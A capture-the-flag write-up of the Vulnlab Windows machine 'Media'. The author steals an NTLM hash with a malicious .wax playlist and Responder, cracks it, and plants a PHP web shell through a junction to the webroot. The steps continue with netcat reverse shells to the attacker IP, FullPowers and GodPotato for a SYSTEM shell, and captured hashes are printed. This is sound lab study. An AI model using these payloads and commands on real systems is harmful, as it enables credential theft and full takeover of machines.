Media is a medium windows box from vulnlab. It involves stealing NTLM hash by uploading a specific Windows Media Player file and abusing Symlinks for Privesc.

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PORT     STATE SERVICE       VERSION
22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey:
| 3072 0b:b3:c0:80:40:88:e1:ae:aa:3b:5f:f4:c2:23:c0:0d (RSA)
| 256 e0:80:3f:dd:b1:f8:fc:83:f5:de:d5:b3:2d:5a:4b:39 (ECDSA)
|_ 256 b5:32:c0:72:18:10:0f:24:5d:f8:e1:ce:2a:73:5c:1f (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-title: ProMotion Studio
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: MEDIA
| NetBIOS_Domain_Name: MEDIA
| NetBIOS_Computer_Name: MEDIA
| DNS_Domain_Name: MEDIA
| DNS_Computer_Name: MEDIA
| Product_Version: 10.0.20348
|_ System_Time: 2023-10-15T16:28:02+00:00
|_ssl-date: 2023-10-15T16:28:07+00:00; -2s from scanner time.
| ssl-cert: Subject: commonName=MEDIA
| Not valid before: 2023-10-09T13:41:32
|_Not valid after: 2024-04-09T13:41:32
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

As the Nmap scan reveals, we have just 3 ports open, SSH on port 22, HTTP on port 80, and RDP on port 3389.

Let’s start by taking a look at the web server.

Web

We have a website for a studio. If we scroll to the bottom of the page we can see a form to join the team and a file upload functionality that says Upload a brief introduction video (compatible with Windows Media Player).

At this point I was searching for CVEs related to Windows Media Player but couldn’t find any. Then I thought, if we can upload a specific media player file maybe we can steal the user hash. So, I started looking for NTLM theft files and I stumbled across this tool https://github.com/Greenwolf/ntlm_theft that generates different file types to steal NTLM hashes.
If we search for Windows Media Player we can see that there are 3 possible file types:

  • .wax - via Windows Media Player playlist (Better, primary open)
  • .asx – via Windows Media Player playlist (Better, primary open)
  • .m3u – via Windows Media Player playlist (Worse, Win10 opens first in Groovy)

The one that worked for me was .wax file.

User

My wax file looks like this

1
2
3
➜  media cat meow.wax
https://10.8.0.210/test
file://\\10.8.0.210/steal/file

Let’s set up Responder and then upload our file

1
➜  media sudo responder -I tun0

After some time we get a hit on our Responder

1
2
3
4
5
6
7
[+] Listening for events...

[SMB] NTLMv2-SSP Client : 10.10.119.80
[SMB] NTLMv2-SSP Username : MEDIA\enox
[SMB] NTLMv2-SSP Hash : enox::MEDIA:c174395ba7e319b4:0278566CC952E68C0A8939B05A8949D1:0101000000000000007CBFF9E701DA0184D599DCFC4AB10D0000000002000800530058005100550001001E00570049004E002D004C004300530038005800390036005A00440056004E0004003400570049004E002D004C004300530038005800390036005A00440056004E002E0053005800510055002E004C004F00430041004C000300140053005800510055002E004C004F00430041004C000500140053005800510055002E004C004F00430041004C0007000800007CBFF9E701DA0106000400020000000800300030000000000000000000000000300000FD036A12B53715965FE7CEFB7EB504EB1B2F6158B58D931933946C427E6EE24B0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E0038002E0030002E003200310030000000000000000000
[*] Skipping previously captured hash for MEDIA\enox
[*] Skipping previously captured hash for MEDIA\enox

We got the user enox’s hash. Let’s save it to a file and crack it

1
2
3
4
5
6
7
8
9
10
11
➜  media cat enox.hash
enox::MEDIA:df9b076f3a39d3e3:7C311A6E8C859408DA17E598CC1F1D48:010100000000000000B9356E63FFD9015186DD9FF6A0B7A100000000020008003500520057004C0001001E00570049004E002D005000590046005400580046004900490045005700430004003400570049004E002D00500059004600540058004600490049004500570043002E003500520057004C002E004C004F00430041004C00030014003500520057004C002E004C004F00430041004C00050014003500520057004C002E004C004F00430041004C000700080000B9356E63FFD90106000400020000000800300030000000000000000000000000300000706DC2CD185DEF0BCDEA9EF817CEEC7B1B0D3CE8C608466251947DE9739C5BEB0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E0038002E0030002E003200310030000000000000000000
➜ media j enox.hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<REDACTED> (enox)
1g 0:00:00:06 DONE (2023-10-18 17:27) 0.1451g/s 1935Kp/s 1935Kc/s 1935KC/s 1234ถ6789..1234dork
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

j is just an alias I created for john, here is the full command

1
2
➜  media type j
j is an alias for john --wordlist=/usr/share/wordlists/rockyou.txt

Now that we have a username and a password, let’s attempt to log in. As observed in the Nmap scan above, SSH is open

1
2
➜  media ssh enox@media.vl
enox@media.vl's password:

We logged in successfully and can now read the user flag :)

1
2
3
4
5
Microsoft Windows [Version 10.0.20348.1970]
(c) Microsoft Corporation. All rights reserved.

enox@MEDIA C:\Users\enox>type Desktop\user.txt
VL{REDACTED}

PrivEsc

We can start by taking a look at the server files

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\xampp\htdocs> ls


Directory: C:\xampp\htdocs


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/2/2023 10:27 AM assets
d----- 10/2/2023 10:27 AM css
d----- 10/2/2023 10:27 AM js
-a---- 10/10/2023 5:00 AM 20563 index.php

Let’s take a look at the index.php file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);

// Your PHP code for handling form submission and file upload goes here.
$uploadDir = 'C:/Windows/Tasks/Uploads/'; // Base upload directory

if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["fileToUpload"])) {
$firstname = filter_var($_POST["firstname"], FILTER_SANITIZE_STRING);
$lastname = filter_var($_POST["lastname"], FILTER_SANITIZE_STRING);
$email = filter_var($_POST["email"], FILTER_SANITIZE_STRING);

// Create a folder name using the MD5 hash of Firstname + Lastname + Email
$folderName = md5($firstname . $lastname . $email);

// Create the full upload directory path
$targetDir = $uploadDir . $folderName . '/';

// Ensure the directory exists; create it if not
if (!file_exists($targetDir)) {
mkdir($targetDir, 0777, true);
}

// Sanitize the filename to remove unsafe characters
$originalFilename = $_FILES["fileToUpload"]["name"];
$sanitizedFilename = preg_replace("/[^a-zA-Z0-9._]/", "", $originalFilename);


// Build the full path to the target file
$targetFile = $targetDir . $sanitizedFilename;

if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) {
echo "<script>alert('Your application was successfully submitted. Our HR shall review your video and get back to you.');</script>";

// Update the todo.txt file
$todoFile = $uploadDir . 'todo.txt';
$todoContent = "Filename: " . $originalFilename . ", Random Variable: " . $folderName . "\n";

// Append the new line to the file
file_put_contents($todoFile, $todoContent, FILE_APPEND);
} else {
echo "<script>alert('Uh oh, something went wrong... Please submit again');</script>";
}
}
?>

This script handles the file upload feature observed on the website. Essentially, it generates a unique folder name using the MD5 hash of the concatenated firstname, lastname, and email fields.

1
$folderName = md5($firstname . $lastname . $email);

This folder will be created under the base upload directory which is C:/Windows/Tasks/Uploads/, then the script will store the uploaded file in that folder.

Attack Idea

We can use symlinks or Junction to abuse this, since we can predict the folder name using the MD5 sum, we can create a junction with the same name pointing to C:\xampp\htdocs, subsequent file uploads are redirected to the web server’s root directory which is C:\xampp\htdocs. Therefore, we can upload a PHP shell that way.

Attack Execution

Let’s create a file called shell.php which has the following content

1
2
3
4
5
<?php

system($_REQUEST['cmd']);

?>

Now let’s predict the folder name where the file will be stored by calculating the MD5 sum of the firstnamelastnameemail we are going to use. I will use the following values:

1
2
➜  media echo -n "serioserioserio@media.vl" | md5sum
3b060c7f54f15b7268440128b7f34e6e -

At this point all we have to do is to input the first name, last name, and email then upload the file.

As you can see, a directory named after the MD5 sum we just calculated has been created successfully under C:\Windows\Tasks\Uploads\

1
2
3
4
5
6
7
8
9
10
PS C:\xampp\htdocs> ls C:\Windows\Tasks\Uploads\


Directory: C:\Windows\Tasks\Uploads


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/19/2023 3:06 AM 3b060c7f54f15b7268440128b7f34e6e
-a---- 10/19/2023 3:06 AM 71 todo.txt

Now let’s delete the generated directory

1
2
3
4
5
6
7
PS C:\xampp\htdocs> rmdir C:\Windows\Tasks\Uploads\3b060c7f54f15b7268440128b7f34e6e

Confirm
The item at C:\Windows\Tasks\Uploads\3b060c7f54f15b7268440128b7f34e6e has children and the Recurse
parameter was not specified. If you continue, all children will be removed with the item. Are you
sure you want to continue?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "Y"): A

Create the junction

1
2
3
4
enox@MEDIA C:\xampp\htdocs>mklink /J C:\Windows\Tasks\Uploads\3b060c7f54f15b7268440128b7f34e6e C:\xampp\htdocs
Junction created for C:\Windows\Tasks\Uploads\3b060c7f54f15b7268440128b7f34e6e <<===>> C:\xampp\htdocs

enox@MEDIA C:\xampp\htdocs>

Re-upload the file

The file will be saved under C:\xampp\htdocs\ instead, as you can see here.

1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\xampp\htdocs> ls


Directory: C:\xampp\htdocs


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/2/2023 10:27 AM assets
d----- 10/2/2023 10:27 AM css
d----- 10/2/2023 10:27 AM js
-a---- 10/10/2023 5:00 AM 20563 index.php
-a---- 10/19/2023 3:12 AM 37 shell.php

Shell as local service account

Let’s upload nc64.exe to the target machine

1
2
3
4
5
6
7
8
9
10
PS C:\temp> iwr http://10.8.0.210/nc64.exe -outfile nc64.exe
PS C:\temp> ls


Directory: C:\temp


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/19/2023 3:15 AM 45272 nc64.exe

Now all we have to do is start a netcat listener on our machine and then run the following command

1
/shell.php?cmd=c:\\temp\\nc64.exe+-e+cmd.exe+10.8.0.210+443

And we got a shell as local service :)

1
2
3
4
5
6
7
8
9
➜  media nc -nlvp 443
listening on [any] 443 ...
connect to [10.8.0.210] from (UNKNOWN) [10.10.119.80] 50206
Microsoft Windows [Version 10.0.20348.1970]
(c) Microsoft Corporation. All rights reserved.

C:\xampp\htdocs>whoami
whoami
nt authority\local service

PrivEsc

If we run whoami /all we can see that we don’t have all the privileges, some are missing. Luckily for us we can use a tool called FullPowers which is a tool to automatically recover the default privilege set of a service account including SeAssignPrimaryToken and SeImpersonate.
Let’s download the tool from here https://github.com/itm4n/FullPowers/releases/tag/v0.1 and upload it to our target machine:

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\temp> iwr http://10.8.0.210/FullPowers.exe -outfile FullPowers.exe
iwr http://10.8.0.210/FullPowers.exe -outfile FullPowers.exe
PS C:\temp> ls
ls


Directory: C:\temp


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/19/2023 9:10 AM 36864 FullPowers.exe

Now let’s start a netcat listener and run it

1
2
3
4
5
6
PS C:\temp> ./FullPowers.exe -c "C:\temp\nc64.exe 10.8.0.210 443 -e cmd" -z
./FullPowers.exe -c "C:\temp\nc64.exe 10.8.0.210 443 -e cmd" -z
[+] Started dummy thread with id 3704
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK

We successfully got a shell

1
2
3
4
5
6
7
➜  media nc -nlvp 443
listening on [any] 443 ...
connect to [10.8.0.210] from (UNKNOWN) [10.10.101.190] 49905
Microsoft Windows [Version 10.0.20348.1970]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

If we take a look at the local service user privileges we can see that the privileges that were missing are now present :)

1
2
3
4
5
6
7
8
9
10
11
12
PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Shell as system

We can abuse the SeImpersonatePrivilege using GP https://github.com/BeichenDream/GodPotato/releases. First let’s start a netcat listener then run the following command

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PS C:\temp> .\gp.exe -cmd "C:\temp\nc64.exe -e cmd.exe 10.8.0.210 443"
.\gp.exe -cmd "C:\temp\nc64.exe -e cmd.exe 10.8.0.210 443"
[*] CombaseModule: 0x140719151316992
[*] DispatchTable: 0x140719153908040
[*] UseProtseqFunction: 0x140719153202512
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\1b0ba6f7-8e06-410f-8a43-28aa0ef32cba\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00005402-13a4-ffff-3ceb-87cca0c5c52b
[*] DCOM obj OXID: 0xd3f11f2e3a039eb6
[*] DCOM obj OID: 0xe1ff42788f3c2c30
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 896 Token:0x736 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 4184

We got a shell as system and we can read the root flag :)

1
2
3
4
5
6
7
8
9
10
11
12
13
➜  media nc -nlvp 443
listening on [any] 443 ...
connect to [10.8.0.210] from (UNKNOWN) [10.10.101.190] 49986
Microsoft Windows [Version 10.0.20348.1970]
(c) Microsoft Corporation. All rights reserved.

C:\temp>whoami
whoami
nt authority\system

C:\temp>type C:\users\administrator\desktop\root.txt
type C:\users\administrator\desktop\root.txt
VL{REDCATED}

That was the box. I hope you learned something new :D